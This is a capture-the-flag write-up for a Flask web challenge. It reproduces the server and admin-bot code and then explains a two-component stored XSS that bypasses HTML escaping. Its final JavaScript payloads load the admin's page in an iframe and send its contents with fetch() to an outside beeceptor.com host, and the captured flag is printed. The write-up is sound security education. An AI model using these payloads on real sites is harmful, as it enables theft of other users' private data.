We were provided with the source code for the server (`server.py`):
```pythonfrom flask import escape, session, request, Flask, redirectfrom collections import Counterimport uuidimport stringfrom functools import wrapsfrom threading import Lockimport subprocessimport jsonimport requests
# exceptions bad results goodOK = 1ERR = 2
SAFECHARS = set(string.ascii_letters + string.digits + "_")
# templating engines are for chumpsSTYLESHEET = """TRUNCATED""".strip()
PAGE_TEMPLATE = f"""
<html>    <head>        <meta charset="UTF-8">        <title>Reaction.py demo</title>        <style>{STYLESHEET}</style>    </head>    <body>$$BODY$$<script src="https://www.google.com/recaptcha/api.js" async defer></script></body></html>""".strip()
LOGIN_PAGE = PAGE_TEMPLATE.replace(    "$$BODY$$",    """<form action="/login" method="POST">    $$ERROR$$ Register instead    <input type="text" name="username" placeholder="username">    <input type="password" name="pw" placeholder="password">    <input type="submit" value="login"></form>""".strip(),)
REGISTER_PAGE = PAGE_TEMPLATE.replace(    "$$BODY$$",    """<form action="/register" method="POST">    $$ERROR$$ Login instead    <input type="text" name="username" placeholder="username">    <input type="password" name="pw" placeholder="password">    <input type="submit" value="login"></form>""".strip(),)
with open("secret.txt", "r") as f:    admin_password = f.read().strip()
with open("flag.txt", "r") as f:    flag = f.read().strip()
with open("captcha.json", "r") as f:    captcha = json.load(f)
accounts = {    "admin": {        "username": "admin",        "pw": admin_password,        "bucket": [f"{escape(flag)}"],        "mutex": Lock(),    }}
{escape(flag)}
def add_component(name, cfg, bucket):    if not name or not cfg:        return (ERR, "Missing parameters")    if len(bucket) >= 2:        return (ERR, "Bucket too large (our servers aren't very good :((((()")    if len(cfg) > 250:        return (ERR, "Config too large (our servers aren't very good :((((()")    if name == "welcome":        if len(bucket) > 0:            return (ERR, "Welcomes can only go at the start")        bucket.append(            """            <form action="/newcomp" method="POST">                <input type="text" name="name" placeholder="component name">                <input type="text" name="cfg" placeholder="component config">                <input type="submit" value="create component">            </form>            <form action="/reset" method="POST"> warning: resetting components gets rid of this form for some reason                <input type="submit" value="reset components">            </form>            <form action="/contest" method="POST">                <div class="g-recaptcha" data-sitekey="{}"></div>                <input type="submit" value="submit site to contest">            </form> Welcome {}!            """.format(                captcha.get("sitekey"), escape(cfg)            ).strip()        )    elif name == "char_count":        bucket.append(            "{}".format(                escape(                    f"{len(cfg)} characters and {len(cfg.split())} words"                )            )        )    elif name == "text":        bucket.append("{}".format(escape(cfg)))    elif name == "freq":        counts = Counter(cfg)        (char, freq) = max(counts.items(), key=lambda x: x[1])        bucket.append(            "All letters: {}Most frequent: '{}'x{}".format(                "".join(counts), char, freq            )        )    else:        return (ERR, "Invalid component name")    return (OK, bucket)
warning: resetting components gets rid of this form for some reason
Welcome {}!
{}
{}
All letters: {}Most frequent: '{}'x{}
def register(username, pw):    if not username or not pw:        return (ERR, "Missing parameters")    if len(username) > 15 or any(x not in SAFECHARS for x in username):        return (ERR, "Bad username")    if username in accounts:        return (ERR, "User already exists")    (t, v) = add_component("welcome", username, [])    if t == ERR:        return (ERR, v)    accounts[username] = {        "username": username,        "pw": pw,  # please don't use your actual password        "bucket": v,        "mutex": Lock(),    }    return (OK, username)
def login(username, pw):    if not username or not pw:        return (ERR, "Missing parameters")    if username not in accounts:        return (ERR, "Username and password don't match")    if pw != accounts[username]["pw"]:        return (ERR, "Username and password don't match")    return (OK, username)
def reset(user):    del user["bucket"][:]    return (OK, ())
app = Flask(__name__)app.secret_key = uuid.uuid4().hex
def mustlogin(route):    @wraps(route)    def ret():        if request.cookies.get("secret") == admin_password:            fakeuser = request.args.get("fakeuser")            if fakeuser:                return route(user=accounts[fakeuser])        if "username" not in session or session["username"] not in accounts:            return redirect("/login", code=302)        return route(user=accounts[session["username"]])
    return ret
@app.route("/", methods=["GET"])@mustlogindef home(user):    return PAGE_TEMPLATE.replace("$$BODY$$", "".join(user["bucket"]))
@app.route("/login", methods=["GET"])def login_page():    return LOGIN_PAGE.replace("$$ERROR$$", "")
@app.route("/login", methods=["POST"])def login_post():    (t, v) = login(request.form.get("username"), request.form.get("pw"))    if t == ERR:        return (LOGIN_PAGE.replace("$$ERROR$$", f"""{v}"""), 400)    session["username"] = v    return redirect("/", code=302)
{v}
@app.route("/register", methods=["GET"])def register_page():    return REGISTER_PAGE.replace("$$ERROR$$", "")
@app.route("/register", methods=["POST"])def register_post():    (t, v) = register(request.form.get("username"), request.form.get("pw"))    if t == ERR:        return (            REGISTER_PAGE.replace("$$ERROR$$", f"""{v}"""),            400,        )    session["username"] = v    return redirect("/", code=302)
{v}
@app.route("/reset", methods=["POST"])@mustlogindef reset_post(user):    if user["username"] == "admin":        return ("Cannot reset admin", 400)    (t, v) = reset(user)    if t == ERR:        return (            PAGE_TEMPLATE.replace("$$BODY$$", f"""{v}"""),            400,        )    return redirect("/", code=302)
{v}
@app.route("/newcomp", methods=["POST"])@mustlogindef new_component_post(user):    with user["mutex"]:        (t, v) = add_component(            request.form.get("name"), request.form.get("cfg"), user["bucket"]        )    if t == ERR:        return (            PAGE_TEMPLATE.replace("$$BODY$$", f"""{v}"""),            400,        )    return redirect("/", code=302)
{v}
@app.route("/contest", methods=["POST"])@mustlogindef contest_submission(user):    captcha_response = request.form.get("g-recaptcha-response")    if not captcha_response:        return ("Please complete the CAPTCHA", 400)    secretkey = captcha.get("secretkey")    if secretkey:        r = requests.post(            "https://www.google.com/recaptcha/api/siteverify",            data={"secret": secretkey, "response": captcha_response},        ).json()        if not r["success"]:            return ("Invalid CAPTCHA", 400)        subprocess.run(            ["node", "visit.js", user["username"]],            # stdout=subprocess.DEVNULL,            # stderr=subprocess.DEVNULL,            stdin=subprocess.DEVNULL,        )        return PAGE_TEMPLATE.replace(            "$$BODY$$",            """The admin should have reviewed your submission. Back to homepage""",        )
The admin should have reviewed your submission. Back to homepage
if __name__ == "__main__":    app.run(port=8080, debug=False, host="0.0.0.0", threaded=True)```
And the bot that would visit websites (`visit.js`):
```javascriptconst puppeteer = require("puppeteer");const fs = require("fs");
async function visit(username) {    const browser = await puppeteer.launch({        args: (process.env.CHROME_FLAGS || "").split`|`    });    const page = await browser.newPage();    const dom = `127.0.0.1:8080`;    await page.setCookie({        name: "secret",        value: fs.readFileSync("secret.txt", "utf8").trim(),        httpOnly: true,        sameSite: "Strict",        domain: dom    });    await page.goto(`http://${dom}/?fakeuser=${encodeURIComponent(username)}`, {waitUntil: "networkidle2", timeout: 10000});    await page.close();    await browser.close();}
if (process.argv[2]) {    visit(process.argv[2]);}```
There's quite a lot of code to read, but the gist is: each user has their own page (a bucket) that they can customize with up to two components. The website can be submitted for a "contest" (for which a captcha needs to be solved!). After doing so, a bot with the admin cookie will visit the website. The admin cookie allows the bot to visit any bucket directly, without logging in as the specific user. The admin's bucket contains the flag.
As such, the objective was clear: We have to leak the admin's bucket somehow, probably by making it visit our page that has some sort of XSS which will send their page to a server we control. This is a good sign for a great CTF challenge: the objective is clear straight away, and the path to it is the challenge itself, rather than having to guess where the flag may be, for example.
In order to solve the challenge I started to look around in the code while also experimenting with the web server. I found the limit of two buckets interesting and concluded that this was probably a hint to tell us that with two buckets we would be able to have XSS. As such, I started looking for places in which user input was _not_ escaped. Most places used Flask's `escape`, but the `freq` "component" didn't!
The `freq` component's content is as follows:```pythoncounts = Counter(cfg)(char, freq) = max(counts.items(), key=lambda x: x[1])bucket.append(    "All letters: {}Most frequent: '{}'x{}".format(	"".join(counts), char, freq    ))```
All letters: {}Most frequent: '{}'x{}
It creates a `Counter` with our input and outputs the counter and the most frequent character (and its frequency). After experimenting with `Counter` locally, I found out that just using it in a string using `"".join` results in outputting the unique characters. So a payload like `<script>` which does not have any repeated characters will create a script tag!
In the meantime, I also found out something quite useful: We could use a random user with the default page (`welcome` component) to grab the recaptcha token by using this selector: `document.getElementById("g-recaptcha-response").value`. This token could be used in a request to submit our page for the contest without any issue, thus removing the need to include the `welcome` component!
After having the initial step for XSS using the `freq` component, I struggled for a while on where to go next. I thought I would just be able to use a `text` component, but it escaped both single and double quotes! As such, creating strings would be painful, as one would have to use `String.fromCharCode(123,110)` for example. After toying with this for a while, I reached this payload:
```javascriptz=document.createElement(String.fromCharCode(105,102,114,97,109,101));z.src=String.fromCharCode(47);document.body.appendChild(z);setTimeout(function(){fetch(String.fromCharCode(47,47,97,49,51,115,97,46,102,114,101,101,46,98,101,101,99,101,112,116,111,114,46,99,111,109,47)+z.contentWindow.document.body.innerHTML)},500)```
The "clean" idea was:```javascriptz=document.createElement('iframe');z.src="/";document.body.appendChild(z);setTimeout(function(){fetch("https://a13sa.free.beeceptor.com/"+z.contentWindow.document.body.innerHTML)},500)```
However, this was too long! We can only use up to 250 characters and the payload was larger than that! Even after some optimization (like using a variable to reference `String.fromCharCode`), it still had 288 characters...
After googling for a bit, a light bulb lit up over my head! Since Flask's `escape` method is targeted at escaping data to include in HTML, there may be other options, such as using backticks for strings!Thankfully, that worked, removing the need to use `String.fromCharCode`!
With this payload, I received a request from the admin bot in beeceptor, finally! And the length was around 200 characters which was nice!
```javascript*/d=document;z=d.createElement(`iframe`);z.src=`/`;d.body.appendChild(z);setTimeout(function(){fetch(`https://a14sa.free.beeceptor.com/`,{method:`POST`,body:btoa(z.contentDocument.body.innerHTML)})},300);//```
Just had one small issue: The data received was of a login form... After looking at the bot's code in further detail we can see that it never authenticates against the website, instead simply using the admin cookie to visit the user buckets. As such, we just need to change where we send the bot to, and give it the `fakeuser` param with the value of `admin`!
Final payload:```javascript*/d=document;z=d.createElement(`iframe`);z.src=`/?fakeuser=admin`;d.body.appendChild(z);setTimeout(function(){fetch(`https://a14sa.free.beeceptor.com/`,{method:`POST`,body:btoa(z.contentDocument.body.innerHTML)})},300);//```
With this, got a request!```PHA+YWN0Znt0d29fcGFydF94c3NfaXNfZG91YmxlX3RoZV9wYXJ0c19vZl9vbmVfcGFydF94c3N9PC9wPjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0IiBhc3luYz0iIiBzcmM9Imh0dHBzOi8vd3d3LmdzdGF0aWMuY29tL3JlY2FwdGNoYS9yZWxlYXNlcy9iZnZ1ejZ0U2hHNWFvWnA0SzR6UFZmNXQvcmVjYXB0Y2hhX19lbi5qcyIgY3Jvc3NvcmlnaW49ImFub255bW91cyIgaW50ZWdyaXR5PSJzaGEzODQtcE1uL2F0K2lBZ2wwUHBYOEErY2NyN2lQUFNjcDBsSUZzUlRpQzZFa0RGdEozZlRlRkJlSmtQN25aSlRjYkQ1aCI+PC9zY3JpcHQ+PHNjcmlwdCBzcmM9Imh0dHBzOi8vd3d3Lmdvb2dsZS5jb20vcmVjYXB0Y2hhL2FwaS5qcyIgYXN5bmM9IiIgZGVmZXI9IiI+PC9zY3JpcHQ+Cg==```
Which decodes into:```htmlactf{two_part_xss_is_double_the_parts_of_one_part_xss}<script type="text/javascript" async="" src="https://www.gstatic.com/recaptcha/releases/bfvuz6tShG5aoZp4K4zPVf5t/recaptcha__en.js" crossorigin="anonymous" integrity="sha384-pMn/at+iAgl0PpX8A+ccr7iPPScp0lIFsRTiC6EkDFtJ3fTeFBeJkP7nZJTcbD5h"></script><script src="https://www.google.com/recaptcha/api.js" async="" defer=""></script>```
actf{two_part_xss_is_double_the_parts_of_one_part_xss}
And here is the flag: `actf{two_part_xss_is_double_the_parts_of_one_part_xss}`
So, a TL;DR of how I solved this one (in terms of requests):* Reset the components to remove the `welcome` component* Add the frequency item to the bucket with the beginning of a script tag and escaping the following text* Add a text tag that can just be JavaScript. (with the escape in the beginning to match the escape previously sent - `/**/` comment)* It is escaped by Flask's `escape`. However, this is only relevant for HTML and not JavaScript. We can bypass the " and ' restriction using String.fromCharCode(86,89). Using backticks also works and is more efficient.* We can embed an iframe that goes to the admin bucket (using the `fakeuser` parameter). Going to "/" doesn't work since the admin is not logged in.* After sending the param of fakeuser=admin in the iframe, we're golden. The script will grab the innerhtml of the iframe and send it to beeceptor.* (I used post and body + b64 to avoid bad chars since sending in URL was not working).* **Important:** Since we don't have welcome component but need the captcha response, we can just solve the captcha elsewhere and then send the ID as a param using curl/httpie
